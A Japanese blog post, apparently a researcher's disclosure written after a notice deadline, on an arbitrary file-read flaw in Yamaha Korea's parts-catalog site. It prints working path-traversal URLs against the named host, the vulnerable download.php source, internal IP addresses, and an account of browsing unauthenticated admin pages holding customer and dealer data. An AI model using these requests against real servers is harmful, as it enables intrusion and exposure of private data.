ヤマハ韓国のセキュリティ
先月26日とか27日に書いたことの話。そこに通知して公表の猶予をしていたけど、
期限が過ぎたのでここに書いておく。
今回の問題について、1月27日にヤマハ韓国にeメールで通知を、並びに日本法人に
問い合わせから報告をして、2月14日まで公開しないことを伝えた。今日朝の段階で
何らかの対処をしてないようなので、本日2月15日の午前中にヤマハ韓国にeメール
を送信し、日本法人には電話をしたが、2月15日中に対処が行われなかった。
本来なら全て公開する予定であったが、何ら対処がされていなくて個人情報が
見られること、(もう遅いけど)本日18時に公開しないようにとeメールで返信が
来たこと、過去にヤマハコミュニケーションプラザでの対応が良かったという
記憶があったので、本日の段階では重要な部分は伏字で公開することにした。
2016年2月18日追記
ようやくヤマハ韓国が対処したようなので、伏字を外す。
|
話はヤマハ韓国(HANKOOK MOTOR TRADING CO.)の話。
http://www.ysk.co.kr/product/search.asp
ここでパーツカタログをダウンロードできるのだけど、そのときに小さな window
を開いて何かやっている。気になったので Wireshark で確認してみたら、こんな
感じのアクセスだった。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/home-cgi/code/data/__20110512_172814.2011)%C5%A9%B8%B3%C5%E6T110(1SX1).pdf
|
これってフルパスだよね、というのが始まり。じゃ、というので /etc/passwd を
拾ってみようとしたけど、エラー。/etc/hosts も同じ。流石に権限が付けられて
いるかと思い、DocumentRoot っぽい public_html 以下のファイルを試してみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/index.html
|
あっさり取得できた。中身の最初17行ぐらいは、こんな感じで PHP っぽい内容
だった。
<?
$login_check = True;
require_once "../init.php";
require_once "../intra/common/common.php";
require_once "$PATH_DIR/path/oms-php/osystem/osystem_include.php";
$odb = new OSystem_Db;
$type = 1;
require_once "login_session.php";
require_once "../intra/common/html_head.php";
if ($process == 1)
{
//echo("<meta http-equiv='refresh' content='0; url=/intra/admin/index.htm'>");
echo("
<script language=\"javascript\">
|
その中で動作に影響を与えていそうなファイルをダウンロードしてくる。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/admin/index.htm
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/init.php
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/common/common.php
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/login/login_session.php
|
もう1つ、問題の download.php の場所もなんとなくわかったのでダウンロード
する。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/common/download.php
|
この download.php の中を見てみた。ちょっと長くなるけど、大事な部分なので
全部を。
<?
if ($encoding=="YES")
{
$filelink = urldecode($filelink);
}
if (!file_exists($filelink))
{ echo("DOWNLOAD할 화일이 없습니다.$filelink");
exit;
}
$name = basename($filelink);
$pos = 0;
if (ereg ("^__([0-9]{8})_([0-9]{6}).", $name))
{
$pos = strpos($name, '.') + 1;
$name = substr($name, $pos);
}
session_write_close();
set_time_limit(0);
header("Cache-Control: ");
header("Pragma: ");
header("Content-Type: application/octet-stream");
header("Content-Length: " .(string)(filesize($filelink)));
header('Content-Disposition: attachment; filename="'.$name.'"');
header("Content-Transfer-Encoding: binary\n");
if($fp = fopen($filelink, 'rb'))
{
while( (!feof($fp)) && (connection_status()==0) )
{
print(fread($fp, 1024*8));
flush();
}
fclose($fp);
}
return((connection_status()==0) and !connection_aborted());
/*
header("Cache-control: private");
header("Content-type: application/x-msdownload");
header("Content-Disposition: attachment;filename=$name");
header("Content-Transfer-Encoding: binary");
header('Content-length: '.(string)(filesize($filelink)));
Header("Pragma: no-cache");
$fp = fopen($filelink,"r");
$data = fread($fp,filesize($filelink));
fclose($fp);
echo $data;
*/
echo("
<SCRIPT LANGUAGE=\"JAVASCRIPT\">
<!--
self.close();
//-->
</SCRIPT>
");
?>
|
ファイルの存在チェックと、「__数字8桁_数字6桁」の削除ぐらいしかしてない
ザルの状態。
その前にダウンロードした login_session.php を見てみたら IP アドレス制限が
ありそうだった。斜め読みだったので、後から実はコメントされているという
ことに気が付いたけど。
$access_ip = $_SERVER["REMOTE_ADDR"];
//--------------------------------------------------------------//
// 보안 적용
// 직원은 외부에서 접속 못하게...
//--------------------------------------------------------------//
/*
if ($login_user_level < $_MEMBER_COMPANY)
{
$flag = false;
//$flag = true;
if (ereg("^127.0.", $access_ip) ||
ereg("^192.168.", $access_ip) ||
ereg("^118.131.233.178",$access_ip) || // 야마하 본사
ereg("^112.221.171.76", $access_ip) || // 야마하 대전
ereg("^59.7.51.204", $access_ip) || // OMS 연구소
ereg("^210.223.107.148",$access_ip)) // OMS 본사
{
$flag= true;
}
if ($flag==false)
{
alert_msg("내부 사용자는 외부에서 사이트에 접속 할 수 없습니다.");
echo("<meta http-equiv='refresh' content='0; url=/login/login.htm'>");
exit;
}
}
*/
|
そんな感じで中を見て行くと、ログイン後のページは /intra/admin/index.htm
で、中はフレーム3つに分かれており。
/intra/admin/frame_top.php
/intra/admin/frame_left.php
/intra/admin/frame_right.php
/intra/admin/frame_right_company.php
/intra/admin/frame_right_person.php
となっている。right のフレームは権限によって3つある。frame_left.php では
メニューが表示されるようで、こんな感じで設定ファイルを読み込む。
if ($ss_user_level < $_MEMBER_COMPANY)
{
if ($ss_pg_type == $_MENU_ALL) $cfgRead->main("menu_all.cfg");
else if ($ss_pg_type == $_MENU_CEO) $cfgRead->main("menu_ceo.cfg");
else if ($ss_pg_type == $_MENU_관리) $cfgRead->main("menu_관리.cfg");
else if ($ss_pg_type == $_MENU_영업) $cfgRead->main("menu_영업.cfg");
else if ($ss_pg_type == $_MENU_부품) $cfgRead->main("menu_부품.cfg");
else if ($ss_pg_type == $_MENU_정비) $cfgRead->main("menu_정비.cfg");
else
{
echo("사용자 정의 오류");
exit;
}
}
|
もちろん、この cfg ファイルもダウンロードしようとしたけど、ファイル名に
ハングルが入っているものはエンコードの問題なのかうまくいかなかった。権限が
強そうな all とか ceo がダウンロードできたので、ハングルのファイルはすぐに
あきらめた。
中を見ていると、データは DB に入っているので重要なデータはダウンロードが
できない。報告するにはインパクトが弱いなと思いながら ls コマンドが実行
できないか PHP の fopen を調べてみる。ディレクトリも指定できるとあるので
やってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home |
4kB のファイルのダウンロードが始まったが、一向に終わる気配がない。fread
がうまくいっていないのかな。PHP の fopen には、さらにスキームが指定できる
と書いてある。
filename が "スキーム://..." の形式である場合、 それは URL とみなされ、PHP はそのプロトコルのハンドラ (ラッパーともいいます) を探します。
|
このスキームについては、サポートするプロトコル/ラッパーというページがあり、
目次には以下のスキームが出ている。
file:// — ローカルファイルシステムへのアクセス
http:// — HTTP(s) URL へのアクセス
ftp:// — FTP(s) URL へのアクセス
php:// — さまざまな入出力ストリームへのアクセス
zlib:// — 圧縮ストリーム
data:// — データ (RFC 2397)
glob:// — パターンにマッチするパス名の検索
phar:// — PHP アーカイブ
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — オーディオストリーム
expect:// — 対話的プロセスストリーム
|
glob:// を使えば ls の代わりにならないか、やってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=glob://home/group7/ysk/public_html/intra/admin/*.cfg
|
ダウンロードできないとか返ってきた。そうか、file_exists でチェックして、
エラーが出ているのか。download.php とは別の PHP でもダウンロードできる
コードがあって、それは file_exists のチェックをしてないようなので、その
PHP を使ってやってみる。
http://ysk.ysk.co.kr/intra/app/code_part/list_view.php?excel=dn&filelink=glob://home/group7/ysk/public_html/intra/admin/*.cfg
|
ファイルがダウンロードできたので、中を見てみた。タグ入りで見にくいので
ブラウザに投げたときの表示。
Warning: filesize() [function.filesize]: stat failed for glob://home/group7/ysk/public_html/intra/admin/*.cfg in D:\HOME\group7\ysk\public_html\intra\app\code_part\list_view.php on line 10
Warning: fopen(glob://home/group7/ysk/public_html/intra/admin/*.cfg) [function.fopen]: failed to open stream: No error in D:\HOME\group7\ysk\public_html\intra\app\code_part\list_view.php on line 14
|
filesize でも fopen でもエラーが起きている。それよりも驚いたのが、D:\ と
出ていること。Windows で動いているのか、ということでこのサーバに対して
curl でアクセスして http ヘッダを見てみた。抜粋した内容は。
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET |
そりゃ、/etc/passwd は無理か。/home とか出てたので、確認もせずに UNIX 系
だと勘違いしていた。Windows とわかったので、Windows のファイルを取りに
行ってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=C:\WINDOWS\system32\drivers\etc\hosts
|
あっさりダウンロードできた。中身がちゃんとあるのか確認してみる。
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
oms.kr 115.90.63.195 |
中身はあるけど、全く面白くない。というか、Windows で取得できてインパクトが
あるファイルって何だろう、と考えながら眠くなったので次の日に持ち越しした。
日付が変わって27日。続きを行う。Windows のファイルがダウンロードできるけど、
何のファイルがダウンロードできるとインパクトがあるのか、テストがてらに
やってみた。
○ C:\Windows\Inf\usb.inf
× C:\Users\Administrator\ntuser.ini
× C:\Program Files(x86)\PHP\php.ini
読み込めない理由が権限の問題なのか、ファイルが存在しないからなのかわかる
ようにはなったけど。notepad.exe なんかダウンロードしてもインパクトないし、
どうしたものかと考える。
決め打ちを何度かするのもサーバに負荷がかかって迷惑かけるだろうし、一度、
ファイルダウンロードをやめて、PHP でアクセスできないかやってみることに
してみた。結局、IP アドレスの制限もないし、ほとんどのページでセッションの
管理もしていないので、アクセスできるようになった。一部でリダイレクトを
して進めないようにしている PHP もあったが、自動リダイレクトしないように
ブラウザの設定を変えればじっくり見ることもできるし。
販売店向け NEWS のページでは、価格リストの Excel ファイルがダウンロード
できたり。
噂に聞いていた YZF-R1 のリコールでの部品交換マニュアルがあって、大変そう
だななんて眺めたり。月ごとの販売台数がわかったり。
販売店の未払金情報だったり。
他に8000台を超える販売車両一覧や、6500人以上のユーザ一覧のようなもの、
14000人以上の登録ユーザ一覧もあったが、いかんせんハングルなので何が書いて
あるのかさっぱりわからない。
一応書いておくけど、ここまで全てブラウザを使ったアクセス。パスワードを
破ったとかしてないし、存在するファイルからアドレスをコピーしてアクセスを
しただけ。向こうは自分達の無能さを差し置いて「不正アクセス」と呼びそうな
気もする。問題は制限を掛けていないことだし、PHP ファイル自体も SQL イン
ジェクション等を考える以前の「ひどい」もので、会社や開発者の意識が低い
ことにある。
ということで、かなり長くなったので続きは明日。ヤマハの対応なんかを。
|